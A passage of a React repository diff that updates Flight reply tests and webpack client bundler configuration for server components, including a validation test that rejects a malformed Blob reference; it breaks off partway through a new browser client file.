   });
 
-  async function serverAct(callback) {
-    let maybePromise;
-    await reactServerAct(() => {
-      maybePromise = callback();
-      if (maybePromise && typeof maybePromise.catch === 'function') {
-        maybePromise.catch(() => {});
-      }
-    });
-    return maybePromise;
-  }
-
   // This method should exist on File but is not implemented in JSDOM
   async function arrayBuffer(file) {
     return new Promise((resolve, reject) => {
@@ -405,6 +394,74 @@ describe('ReactFlightDOMReply', () => {
     expect(response.children).toBe(children);
   });
 
+  it('can pass JSX as root model through a round trip using temporary references', async () => {
+    const jsx = <div />;
+
+    const temporaryReferences =
+      ReactServerDOMClient.createTemporaryReferenceSet();
+    const body = await ReactServerDOMClient.encodeReply(jsx, {
+      temporaryReferences,
+    });
+
+    const temporaryReferencesServer =
+      ReactServerDOMServer.createTemporaryReferenceSet();
+    const serverPayload = await ReactServerDOMServer.decodeReply(
+      body,
+      webpackServerMap,
+      {temporaryReferences: temporaryReferencesServer},
+    );
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(serverPayload, null, {
+        temporaryReferences: temporaryReferencesServer,
+      }),
+    );
+    const response = await ReactServerDOMClient.createFromReadableStream(
+      stream,
+      {
+        temporaryReferences,
+      },
+    );
+
+    // This should be the same reference that we already saw.
+    await expect(response).toBe(jsx);
+  });
+
+  it('can pass a promise that resolves to JSX through a round trip using temporary references', async () => {
+    const jsx = <div />;
+    const promise = Promise.resolve(jsx);
+
+    const temporaryReferences =
+      ReactServerDOMClient.createTemporaryReferenceSet();
+    const body = await ReactServerDOMClient.encodeReply(
+      {promise},
+      {
+        temporaryReferences,
+      },
+    );
+
+    const temporaryReferencesServer =
+      ReactServerDOMServer.createTemporaryReferenceSet();
+    const serverPayload = await ReactServerDOMServer.decodeReply(
+      body,
+      webpackServerMap,
+      {temporaryReferences: temporaryReferencesServer},
+    );
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(serverPayload, null, {
+        temporaryReferences: temporaryReferencesServer,
+      }),
+    );
+    const response = await ReactServerDOMClient.createFromReadableStream(
+      stream,
+      {
+        temporaryReferences,
+      },
+    );
+
+    // This should resolve to the same reference that we already saw.
+    await expect(response.promise).resolves.toBe(jsx);
+  });
+
   it('can return the same object using temporary references', async () => {
     const obj = {
       this: {is: 'a large object'},
@@ -449,7 +506,50 @@ describe('ReactFlightDOMReply', () => {
     expect(response.obj).toBe(obj);
   });
 
-  // @gate enableFlightReadableStream
+  it('can return an opaque object through an async function', async () => {
+    function fn() {
+      return 'this is a client function';
+    }
+
+    const args = [fn];
+
+    const temporaryReferences =
+      ReactServerDOMClient.createTemporaryReferenceSet();
+    const body = await ReactServerDOMClient.encodeReply(args, {
+      temporaryReferences,
+    });
+
+    const temporaryReferencesServer =
+      ReactServerDOMServer.createTemporaryReferenceSet();
+    const serverPayload = await ReactServerDOMServer.decodeReply(
+      body,
+      webpackServerMap,
+      {temporaryReferences: temporaryReferencesServer},
+    );
+
+    async function action(arg) {
+      return arg;
+    }
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(
+        {
+          result: action.apply(null, serverPayload),
+        },
+        null,
+        {temporaryReferences: temporaryReferencesServer},
+      ),
+    );
+    const response = await ReactServerDOMClient.createFromReadableStream(
+      stream,
+      {
+        temporaryReferences,
+      },
+    );
+
+    expect(await response.result).toBe(fn);
+  });
+
   it('should supports streaming ReadableStream with objects', async () => {
     let controller1;
     let controller2;
@@ -511,7 +611,6 @@ describe('ReactFlightDOMReply', () => {
     });
   });
 
-  // @gate enableFlightReadableStream
   it('should supports streaming AsyncIterables with objects', async () => {
     let resolve;
     const wait = new Promise(r => (resolve = r));
@@ -618,4 +717,44 @@ describe('ReactFlightDOMReply', () => {
     const root = await ReactServerDOMServer.decodeReply(body, webpackServerMap);
     expect(root.prop.obj).toBe(root.prop);
   });
+
+  it('can transport cyclic arrays', async () => {
+    const obj = {};
+    const cyclic = [obj];
+    cyclic[1] = cyclic;
+
+    const body = await ReactServerDOMClient.encodeReply({prop: cyclic, obj});
+    const root = await ReactServerDOMServer.decodeReply(body, webpackServerMap);
+    expect(root.prop[1]).toBe(root.prop);
+    expect(root.prop[0]).toBe(root.obj);
+  });
+
+  it('can abort an unresolved model and get the partial result', async () => {
+    const promise = new Promise(r => {});
+    const controller = new AbortController();
+    const bodyPromise = ReactServerDOMClient.encodeReply(
+      {promise: promise, hello: 'world'},
+      {signal: controller.signal},
+    );
+    controller.abort();
+
+    const result = await ReactServerDOMServer.decodeReply(await bodyPromise);
+    expect(result.hello).toBe('world');
+    // TODO: await result.promise should reject at this point because the stream
+    // has closed but that's a bug in both ReactFlightReplyServer and ReactFlightClient.
+    // It just halts in this case.
+  });
+
+  it('cannot deserialize a Blob reference backed by a string', async () => {
+    const formData = new FormData();
+    formData.set('1', '-'.repeat(50000));
+    formData.set('0', JSON.stringify(['$B1']));
+    let error;
+    try {
+      await ReactServerDOMServer.decodeReply(formData, webpackServerMap);
+    } catch (x) {
+      error = x;
+    }
+    expect(error.message).toContain('Referenced Blob is not a Blob.');
+  });
 });
diff --git a/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMReplyEdge-test.js b/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMReplyEdge-test.js
index a02d2b0c0fd8..476d3d5b66e2 100644
--- a/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMReplyEdge-test.js
+++ b/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMReplyEdge-test.js
@@ -10,19 +10,8 @@
 
 'use strict';
 
-// Polyfills for test environment
-global.ReadableStream =
-  require('web-streams-polyfill/ponyfill/es6').ReadableStream;
-global.TextEncoder = require('util').TextEncoder;
-global.TextDecoder = require('util').TextDecoder;
-
-global.Blob = require('buffer').Blob;
-if (typeof File === 'undefined' || typeof FormData === 'undefined') {
-  global.File = require('buffer').File || require('undici').File;
-  global.FormData = require('undici').FormData;
-}
-
-// let serverExports;
+let assertConsoleErrorDev;
+let serverExports;
 let webpackServerMap;
 let ReactServerDOMServer;
 let ReactServerDOMClient;
@@ -36,11 +25,14 @@ describe('ReactFlightDOMReplyEdge', () => {
       require('react-server-dom-webpack/server.edge'),
     );
     const WebpackMock = require('./utils/WebpackMock');
-    // serverExports = WebpackMock.serverExports;
+    serverExports = WebpackMock.serverExports;
     webpackServerMap = WebpackMock.webpackServerMap;
     ReactServerDOMServer = require('react-server-dom-webpack/server.edge');
     jest.resetModules();
     ReactServerDOMClient = require('react-server-dom-webpack/client.edge');
+
+    const InternalTestUtils = require('internal-test-utils');
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
   });
 
   it('can encode a reply', async () => {
@@ -53,7 +45,6 @@ describe('ReactFlightDOMReplyEdge', () => {
     expect(decoded).toEqual({some: 'object'});
   });
 
-  // @gate enableBinaryFlight
   it('should be able to serialize any kind of typed array', async () => {
     const buffer = new Uint8Array([
       123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,
@@ -85,7 +76,6 @@ describe('ReactFlightDOMReplyEdge', () => {
     expect(new Uint8Array(result[0])).toEqual(new Uint8Array(buffers[0]));
   });
 
-  // @gate enableBinaryFlight
   it('should be able to serialize a typed array inside a Map', async () => {
     const array = new Uint8Array([
       123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,
@@ -102,7 +92,6 @@ describe('ReactFlightDOMReplyEdge', () => {
     expect(result.get('array')).toEqual(array);
   });
 
-  // @gate enableBinaryFlight
   it('should be able to serialize a blob', async () => {
     const bytes = new Uint8Array([
       123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,
@@ -150,8 +139,7 @@ describe('ReactFlightDOMReplyEdge', () => {
     expect(await resultBlob.arrayBuffer()).toEqual(await blob.arrayBuffer());
   });
 
-  // @gate enableFlightReadableStream && enableBinaryFlight
-  it('should supports ReadableStreams with typed arrays', async () => {
+  it('should support ReadableStreams with typed arrays', async () => {
     const buffer = new Uint8Array([
       123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,
     ]).buffer;
@@ -197,26 +185,34 @@ describe('ReactFlightDOMReplyEdge', () => {
     expect(streamedBuffers).toEqual(buffers);
   });
 
-  // @gate enableFlightReadableStream && enableBinaryFlight
   it('should support BYOB binary ReadableStreams', async () => {
-    const buffer = new Uint8Array([
+    const sourceBytes = [
       123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,
-    ]).buffer;
+    ];
+
+    // Create separate buffers for each typed array to avoid ArrayBuffer
+    // transfer issues. Each view needs its own buffer because enqueue()
+    // transfers ownership.
     const buffers = [
-      new Int8Array(buffer, 1),
-      new Uint8Array(buffer, 2),
-      new Uint8ClampedArray(buffer, 2),
-      new Int16Array(buffer, 2),
-      new Uint16Array(buffer, 2),
-      new Int32Array(buffer, 4),
-      new Uint32Array(buffer, 4),
-      new Float32Array(buffer, 4),
-      new Float64Array(buffer, 0),
-      new BigInt64Array(buffer, 0),
-      new BigUint64Array(buffer, 0),
-      new DataView(buffer, 3),
+      new Int8Array(sourceBytes.slice(1)),
+      new Uint8Array(sourceBytes.slice(2)),
+      new Uint8ClampedArray(sourceBytes.slice(2)),
+      new Int16Array(new Uint8Array(sourceBytes.slice(2)).buffer),
+      new Uint16Array(new Uint8Array(sourceBytes.slice(2)).buffer),
+      new Int32Array(new Uint8Array(sourceBytes.slice(4)).buffer),
+      new Uint32Array(new Uint8Array(sourceBytes.slice(4)).buffer),
+      new Float32Array(new Uint8Array(sourceBytes.slice(4)).buffer),
+      new Float64Array(new Uint8Array(sourceBytes.slice(0)).buffer),
+      new BigInt64Array(new Uint8Array(sourceBytes.slice(0)).buffer),
+      new BigUint64Array(new Uint8Array(sourceBytes.slice(0)).buffer),
+      new DataView(new Uint8Array(sourceBytes.slice(3)).buffer),
     ];
 
+    // Save expected bytes before enqueueing (which will detach the buffers).
+    const expectedBytes = buffers.flatMap(c =>
+      Array.from(new Uint8Array(c.buffer, c.byteOffset, c.byteLength)),
+    );
+
     // This a binary stream where each chunk ends up as Uint8Array.
     const s = new ReadableStream({
       type: 'bytes',
@@ -244,10 +240,168 @@ describe('ReactFlightDOMReplyEdge', () => {
 
     // The streamed buffers might be in different chunks and in Uint8Array form but
     // the concatenated bytes should be the same.
-    expect(streamedBuffers.flatMap(t => Array.from(t))).toEqual(
-      buffers.flatMap(c =>
-        Array.from(new Uint8Array(c.buffer, c.byteOffset, c.byteLength)),
-      ),
+    expect(streamedBuffers.flatMap(t => Array.from(t))).toEqual(expectedBytes);
+  });
+
+  it('should cancel the transported ReadableStream when we are cancelled', async () => {
+    const s = new ReadableStream({
+      start(controller) {
+        controller.enqueue('hi');
+        controller.close();
+      },
+    });
+
+    const body = await ReactServerDOMClient.encodeReply(s);
+
+    const iterable = {
+      async *[Symbol.asyncIterator]() {
+        // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+        for (const entry of body) {
+          if (entry[1] === 'C') {
+            // Return before finishing the stream.
+            return;
+          }
+          yield entry;
+        }
+      },
+    };
+
+    const result = await ReactServerDOMServer.decodeReplyFromAsyncIterable(
+      iterable,
+      webpackServerMap,
+    );
+
+    const reader = result.getReader();
+
+    // We should be able to read the part we already emitted before the abort
+    expect(await reader.read()).toEqual({
+      value: 'hi',
+      done: false,
+    });
+
+    let error = null;
+    try {
+      await reader.read();
+    } catch (x) {
+      error = x;
+    }
+
+    expect(error).not.toBe(null);
+    expect(error.message).toBe('Connection closed.');
+  });
+
+  it('should abort when parsing an incomplete payload', async () => {
+    const infinitePromise = new Promise(() => {});
+    const controller = new AbortController();
+    const promiseForResult = ReactServerDOMClient.encodeReply(
+      {promise: infinitePromise},
+      {
+        signal: controller.signal,
+      },
     );
+    controller.abort();
+    const body = await promiseForResult;
+
+    const decoded = await ReactServerDOMServer.decodeReply(
+      body,
+      webpackServerMap,
+    );
+
+    let error = null;
+    try {
+      await decoded.promise;
+    } catch (x) {
+      error = x;
+    }
+    expect(error).not.toBe(null);
+    expect(error.message).toBe('Connection closed.');
+  });
+
+  it('can stream the decoding using an async iterable', async () => {
+    let resolve;
+    const promise = new Promise(r => (resolve = r));
+
+    const buffer = new Uint8Array([
+      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,
+    ]);
+
+    const formData = await ReactServerDOMClient.encodeReply({
+      a: Promise.resolve('hello'),
+      b: Promise.resolve(buffer),
+    });
+
+    const iterable = {
+      async *[Symbol.asyncIterator]() {
+        // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+        for (const entry of formData) {
+          yield entry;
+          await promise;
+        }
+      },
+    };
+
+    const decoded = await ReactServerDOMServer.decodeReplyFromAsyncIterable(
+      iterable,
+      webpackServerMap,
+    );
+
+    expect(Object.keys(decoded)).toEqual(['a', 'b']);
+
+    await resolve();
+
+    expect(await decoded.a).toBe('hello');
+    expect(Array.from(await decoded.b)).toEqual(Array.from(buffer));
+  });
+
+  it('can pass a registered server reference', async () => {
+    function greet(name) {
+      return 'hi, ' + name;
+    }
+    const ServerModule = serverExports({
+      greet,
+    });
+
+    ReactServerDOMClient.registerServerReference(
+      ServerModule.greet,
+      ServerModule.greet.$$id,
+    );
+
+    const body = await ReactServerDOMClient.encodeReply({
+      method: ServerModule.greet,
+      boundMethod: ServerModule.greet.bind(null, 'there'),
+    });
+    const replyResult = await ReactServerDOMServer.decodeReply(
+      body,
+      webpackServerMap,
+    );
+    expect(replyResult.method).toBe(greet);
+    expect(replyResult.boundMethod()).toBe('hi, there');
+  });
+
+  it('warns with a tailored message if eval is not available in dev', async () => {
+    // eslint-disable-next-line no-eval
+    const previousEval = globalThis.eval.bind(globalThis);
+    // eslint-disable-next-line no-eval
+    globalThis.eval = () => {
+      throw new Error('eval is disabled');
+    };
+
+    try {
+      const body = await ReactServerDOMClient.encodeReply({some: 'object'});
+
+      assertConsoleErrorDev([
+        'eval() is not supported in this environment. ' +
+          'React requires eval() in development mode for various debugging features ' +
+          'like reconstructing callstacks from a different environment.\n' +
+          'React will never use eval() in production mode',
+      ]);
+
+      await ReactServerDOMServer.decodeReply(body, webpackServerMap);
+
+      assertConsoleErrorDev([]);
+    } finally {
+      // eslint-disable-next-line no-eval
+      globalThis.eval = previousEval;
+    }
   });
 });
diff --git a/packages/react-server-dom-webpack/src/__tests__/utils/WebpackMock.js b/packages/react-server-dom-webpack/src/__tests__/utils/WebpackMock.js
index 4527118c1de8..5574b069a490 100644
--- a/packages/react-server-dom-webpack/src/__tests__/utils/WebpackMock.js
+++ b/packages/react-server-dom-webpack/src/__tests__/utils/WebpackMock.js
@@ -27,6 +27,9 @@ global.__webpack_require__ = function (id) {
   }
   return webpackClientModules[id] || webpackServerModules[id];
 };
+global.__webpack_get_script_filename__ = function (id) {
+  return id;
+};
 
 const previousCompile = Module.prototype._compile;
 
@@ -44,6 +47,10 @@ if (previousCompile === nodeCompile) {
 
 Module.prototype._compile = previousCompile;
 
+const Server = require('react-server-dom-webpack/server');
+const registerClientReference = Server.registerClientReference;
+const createClientModuleProxy = Server.createClientModuleProxy;
+
 exports.webpackMap = webpackClientMap;
 exports.webpackModules = webpackClientModules;
 exports.webpackServerMap = webpackServerMap;
@@ -126,6 +133,65 @@ exports.clientExports = function clientExports(
   return mod.exports;
 };
 
+exports.clientExportsESM = function clientExportsESM(
+  moduleExports,
+  options?: {forceClientModuleProxy?: boolean} = {},
+) {
+  const chunks = [];
+  const idx = '' + webpackModuleIdx++;
+  webpackClientModules[idx] = moduleExports;
+  const path = url.pathToFileURL(idx).href;
+
+  const createClientReferencesForExports = ({exports, async}) => {
+    webpackClientMap[path] = {
+      id: idx,
+      chunks,
+      name: '*',
+      async: true,
+    };
+
+    if (options.forceClientModuleProxy) {
+      return createClientModuleProxy(path);
+    }
+
+    if (typeof exports === 'object') {
+      const references = {};
+
+      for (const name in exports) {
+        const id = path + '#' + name;
+        webpackClientMap[path + '#' + name] = {
+          id: idx,
+          chunks,
+          name: name,
+          async,
+        };
+        references[name] = registerClientReference(() => {}, id, name);
+      }
+
+      return references;
+    }
+
+    return registerClientReference(() => {}, path, '*');
+  };
+
+  if (
+    moduleExports &&
+    typeof moduleExports === 'object' &&
+    typeof moduleExports.then === 'function'
+  ) {
+    return moduleExports.then(
+      asyncModuleExports =>
+        createClientReferencesForExports({
+          exports: asyncModuleExports,
+          async: true,
+        }),
+      () => {},
+    );
+  }
+
+  return createClientReferencesForExports({exports: moduleExports});
+};
+
 // This tests server to server references. There's another case of client to server references.
 exports.serverExports = function serverExports(moduleExports, blockOnChunk) {
   const idx = '' + webpackModuleIdx++;
diff --git a/packages/react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpack.js b/packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
similarity index 76%
rename from packages/react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpack.js
rename to packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
index 754578e8e7b7..23825c4dcf7b 100644
--- a/packages/react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpack.js
+++ b/packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
@@ -11,12 +11,13 @@ import type {
   Thenable,
   FulfilledThenable,
   RejectedThenable,
+  ReactDebugInfo,
 } from 'shared/ReactTypes';
 
 import type {
   ImportMetadata,
   ImportManifestEntry,
-} from './shared/ReactFlightImportMetadata';
+} from '../shared/ReactFlightImportMetadata';
 import type {ModuleLoading} from 'react-client/src/ReactFlightClientConfig';
 
 import {
@@ -24,13 +25,18 @@ import {
   CHUNKS,
   NAME,
   isAsyncImport,
-} from './shared/ReactFlightImportMetadata';
+} from '../shared/ReactFlightImportMetadata';
 
 import {prepareDestinationWithChunks} from 'react-client/src/ReactFlightClientConfig';
 
-import {loadChunk} from 'react-client/src/ReactFlightClientConfig';
+import {
+  loadChunk,
+  addChunkDebugInfo,
+} from 'react-client/src/ReactFlightClientConfig';
+
+import hasOwnProperty from 'shared/hasOwnProperty';
 
-export type SSRModuleMap = null | {
+export type ServerConsumerModuleMap = null | {
   [clientId: string]: {
     [clientExportName: string]: ClientReferenceManifestEntry,
   },
@@ -63,29 +69,36 @@ export function prepareDestinationForModule(
 }
 
 export function resolveClientReference<T>(
-  bundlerConfig: SSRModuleMap,
+  bundlerConfig: ServerConsumerModuleMap,
   metadata: ClientReferenceMetadata,
 ): ClientReference<T> {
   if (bundlerConfig) {
     const moduleExports = bundlerConfig[metadata[ID]];
-    let resolvedModuleData = moduleExports[metadata[NAME]];
+    let resolvedModuleData = moduleExports && moduleExports[metadata[NAME]];
     let name;
     if (resolvedModuleData) {
       // The potentially aliased name.
       name = resolvedModuleData.name;
     } else {
       // If we don't have this specific name, we might have the full module.
-      resolvedModuleData = moduleExports['*'];
+      resolvedModuleData = moduleExports && moduleExports['*'];
       if (!resolvedModuleData) {
         throw new Error(
           'Could not find the module "' +
             metadata[ID] +
-            '" in the React SSR Manifest. ' +
+            '" in the React Server Consumer Manifest. ' +
             'This is probably a bug in the React Server Components bundler.',
         );
       }
       name = metadata[NAME];
     }
+    // Note that resolvedModuleData.async may be set if this is an Async Module.
+    // For Client References we don't actually care because what matters is whether
+    // the consumer expects an unwrapped async module or just a raw Promise so it
+    // has to already know which one it wants.
+    // We could error if this is an Async Import but it's not an Async Module.
+    // However, we also support plain CJS exporting a top level Promise which is not
+    // an Async Module according to the bundle graph but is effectively the same.
     if (isAsyncImport(metadata)) {
       return [
         resolvedModuleData.id,
@@ -128,7 +141,19 @@ export function resolveServerReference<T>(
       );
     }
   }
-  // TODO: This needs to return async: true if it's an async module.
+  if (resolvedModuleData.async) {
+    // If the module is marked as async in a Client Reference, we don't actually care.
+    // What matters is whether the consumer wants to unwrap it or not.
+    // For Server References, it is different because the consumer is completely internal
+    // to the bundler. So instead of passing it to each reference we can mark it in the
+    // manifest.
+    return [
+      resolvedModuleData.id,
+      resolvedModuleData.chunks,
+      name,
+      1 /* async */,
+    ];
+  }
   return [resolvedModuleData.id, resolvedModuleData.chunks, name];
 }
 
@@ -230,5 +255,25 @@ export function requireModule<T>(metadata: ClientReference<T>): T {
     // default property of this if it was an ESM interop module.
     return moduleExports.__esModule ? moduleExports.default : moduleExports;
   }
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
+}
+
+export function getModuleDebugInfo<T>(
+  metadata: ClientReference<T>,
+): null | ReactDebugInfo {
+  if (!__DEV__) {
+    return null;
+  }
+  const chunks = metadata[CHUNKS];
+  const debugInfo: ReactDebugInfo = [];
+  let i = 0;
+  while (i < chunks.length) {
+    const chunkId = chunks[i++];
+    const chunkFilename = chunks[i++];
+    addChunkDebugInfo(debugInfo, chunkId, chunkFilename);
+  }
+  return debugInfo;
 }
diff --git a/packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackBrowser.js b/packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackBrowser.js
new file mode 100644
index 000000000000..7f49e9fd15a8
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackBrowser.js
@@ -0,0 +1,129 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  ReactDebugInfo,
+  ReactIOInfo,
+  ReactAsyncInfo,
+} from 'shared/ReactTypes';
+
+const chunkMap: Map<string, string> = new Map();
+
+/**
+ * We patch the chunk filename function in webpack to insert our own resolution
+ * of chunks that come from Flight and may not be known to the webpack runtime
+ */
+const webpackGetChunkFilename = __webpack_require__.u;
+__webpack_require__.u = function (chunkId: string) {
+  const flightChunk = chunkMap.get(chunkId);
+  if (flightChunk !== undefined) {
+    return flightChunk;
+  }
+  return webpackGetChunkFilename(chunkId);
+};
+
+export function loadChunk(chunkId: string, filename: string): Promise<mixed> {
+  chunkMap.set(chunkId, filename);
+  return __webpack_chunk_load__(chunkId);
+}
+
+// We cache ReactIOInfo across requests so that inner refreshes can dedupe with outer.
+const chunkIOInfoCache: Map<string, ReactIOInfo> = __DEV__
+  ? new Map()
+  : (null: any);
+
+export function addChunkDebugInfo(
+  target: ReactDebugInfo,
+  chunkId: string,
+  filename: string,
+): void {
+  if (!__DEV__) {
+    return;
+  }
+  let ioInfo = chunkIOInfoCache.get(chunkId);
+  if (ioInfo === undefined) {
+    const scriptFilename = __webpack_get_script_filename__(chunkId);
+    let href;
+    try {
+      // $FlowFixMe
+      href = new URL(scriptFilename, document.baseURI).href;
+    } catch (_) {
+      href = scriptFilename;
+    }
+    let start = -1;
+    let end = -1;
+    let byteSize = 0;
+    // $FlowFixMe[method-unbinding]
+    if (typeof performance.getEntriesByType === 'function') {
+      // We may be able to collect the start and end time of this resource from Performance Observer.
+      const resourceEntries = performance.getEntriesByType('resource');
+      for (let i = 0; i < resourceEntries.length; i++) {
+        const resourceEntry = resourceEntries[i];
+        if (resourceEntry.name === href) {
+          start = resourceEntry.startTime;
+          end = start + resourceEntry.duration;
+          // $FlowFixMe[prop-missing]
+          byteSize = (resourceEntry.transferSize: any) || 0;
+        }
+      }
+    }
+    const value = Promise.resolve(href);
+    // $FlowFixMe
+    value.status = 'fulfilled';
+    // $FlowFixMe
+    value.value = {
+      chunkId: chunkId,
+      href: href,
+      // Is there some more useful representation for the chunk?
+    };
+    // Create a fake stack frame that points to the beginning of the chunk. This is
+    // probably not source mapped so will link to the compiled source rather than
+    // any individual file that goes into the chunks.
+    const fakeStack = new Error('react-stack-top-frame');
+    if (fakeStack.stack.startsWith('Error: react-stack-top-frame')) {
+      // Looks like V8
+      fakeStack.stack =
+        'Error: react-stack-top-frame\n' +
+        // Add two frames since we always trim one off the top.
+        '    at Client Component Bundle (' +
+        href +
+        ':1:1)\n' +
+        '    at Client Component Bundle (' +
+        href +
+        ':1:1)';
+    } else {
+      // Looks like Firefox or Safari.
+      // Add two frames since we always trim one off the top.
+      fakeStack.stack =
+        'Client Component Bundle@' +
+        href +
+        ':1:1\n' +
+        'Client Component Bundle@' +
+        href +
+        ':1:1';
+    }
+    ioInfo = ({
+      name: 'script',
+      start: start,
+      end: end,
+      value: value,
+      debugStack: fakeStack,
+    }: ReactIOInfo);
+    if (byteSize > 0) {
+      // $FlowFixMe[cannot-write]
+      ioInfo.byteSize = byteSize;
+    }
+    chunkIOInfoCache.set(chunkId, ioInfo);
+  }
+  // We could dedupe the async info too but conceptually each request is its own await.
+  const asyncInfo: ReactAsyncInfo = {
+    awaited: ioInfo,
+  };
+  target.push(asyncInfo);
+}
diff --git a/packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackServer.js b/packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackServer.js
new file mode 100644
index 000000000000..7dcbdf3fb2b8
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackServer.js
@@ -0,0 +1,23 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactDebugInfo} from 'shared/ReactTypes';
+
+export function loadChunk(chunkId: string, filename: string): Promise<mixed> {
+  return __webpack_chunk_load__(chunkId);
+}
+
+export function addChunkDebugInfo(
+  target: ReactDebugInfo,
+  chunkId: string,
+  filename: string,
+): void {
+  // We don't emit any debug info on the server since we assume the loading
+  // of the bundle is insignificant on the server.
+}
diff --git a/packages/react-server-dom-webpack/src/ReactFlightClientConfigTargetWebpackBrowser.js b/packages/react-server-dom-webpack/src/client/ReactFlightClientConfigTargetWebpackBrowser.js
similarity index 100%
rename from packages/react-server-dom-webpack/src/ReactFlightClientConfigTargetWebpackBrowser.js
rename to packages/react-server-dom-webpack/src/client/ReactFlightClientConfigTargetWebpackBrowser.js
diff --git a/packages/react-server-dom-webpack/src/client/ReactFlightClientConfigTargetWebpackServer.js b/packages/react-server-dom-webpack/src/client/ReactFlightClientConfigTargetWebpackServer.js
new file mode 100644
index 000000000000..f5793fdab434
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/client/ReactFlightClientConfigTargetWebpackServer.js
@@ -0,0 +1,32 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import {preinitScriptForSSR} from 'react-client/src/ReactFlightClientConfig';
+
+export type ModuleLoading = null | {
+  prefix: string,
+  crossOrigin?: 'use-credentials' | '',
+};
+
+export function prepareDestinationWithChunks(
+  moduleLoading: ModuleLoading,
+  // Chunks are double-indexed [..., idx, filenamex, idy, filenamey, ...]
+  chunks: Array<string>,
+  nonce: ?string,
+) {
+  if (moduleLoading !== null) {
+    for (let i = 1; i < chunks.length; i += 2) {
+      preinitScriptForSSR(
+        moduleLoading.prefix + chunks[i],
+        nonce,
+        moduleLoading.crossOrigin,
+      );
+    }
+  }
+}
diff --git a/packages/react-server-dom-webpack/src/client/ReactFlightDOMClientBrowser.js b/packages/react-server-dom-webpack/src/client/ReactFlightDOMClientBrowser.js
new file mode 100644
index 000000000000..c38d5fd05133
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/client/ReactFlightDOMClientBrowser.js
@@ -0,0 +1,296 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Thenable} from 'shared/ReactTypes.js';
+
+import type {
+  DebugChannel,
+  DebugChannelCallback,
+  FindSourceMapURLCallback,
+  Response as FlightResponse,
+} from 'react-client/src/ReactFlightClient';
+
+import type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';
+
+import {
+  createResponse,
+  createStreamState,
+  getRoot,
+  reportGlobalError,
+  processBinaryChunk,
+  processStringChunk,
+  close,
+  injectIntoDevTools,
+} from 'react-client/src/ReactFlightClient';
+
+import {processReply} from 'react-client/src/ReactFlightReplyClient';
+
+export {
+  createServerReference,
+  registerServerReference,
+} from 'react-client/src/ReactFlightReplyClient';
+
+import type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+type CallServerCallback = <A, T>(string, args: A) => Promise<T>;
+
+export type Options = {
+  callServer?: CallServerCallback,
+  debugChannel?: {writable?: WritableStream, readable?: ReadableStream, ...},
+  temporaryReferences?: TemporaryReferenceSet,
+  unstable_allowPartialStream?: boolean,
+  findSourceMapURL?: FindSourceMapURLCallback,
+  replayConsoleLogs?: boolean,
+  environmentName?: string,
+  startTime?: number,
+  endTime?: number,
+};
+
+function createDebugCallbackFromWritableStream(
+  debugWritable: WritableStream,
+): DebugChannelCallback {
+  const textEncoder = new TextEncoder();
+  const writer = debugWritable.getWriter();
+  return message => {
+    if (message === '') {
+      writer.close();
+    } else {
+      // Note: It's important that this function doesn't close over the Response object or it can't be GC:ed.
+      // Therefore, we can't report errors from this write back to the Response object.
+      if (__DEV__) {
+        writer.write(textEncoder.encode(message + '\n')).catch(console.error);
+      }
+    }
+  };
+}
+
+function createResponseFromOptions(options: void | Options) {
+  const debugChannel: void | DebugChannel =
+    __DEV__ && options && options.debugChannel !== undefined
+      ? {
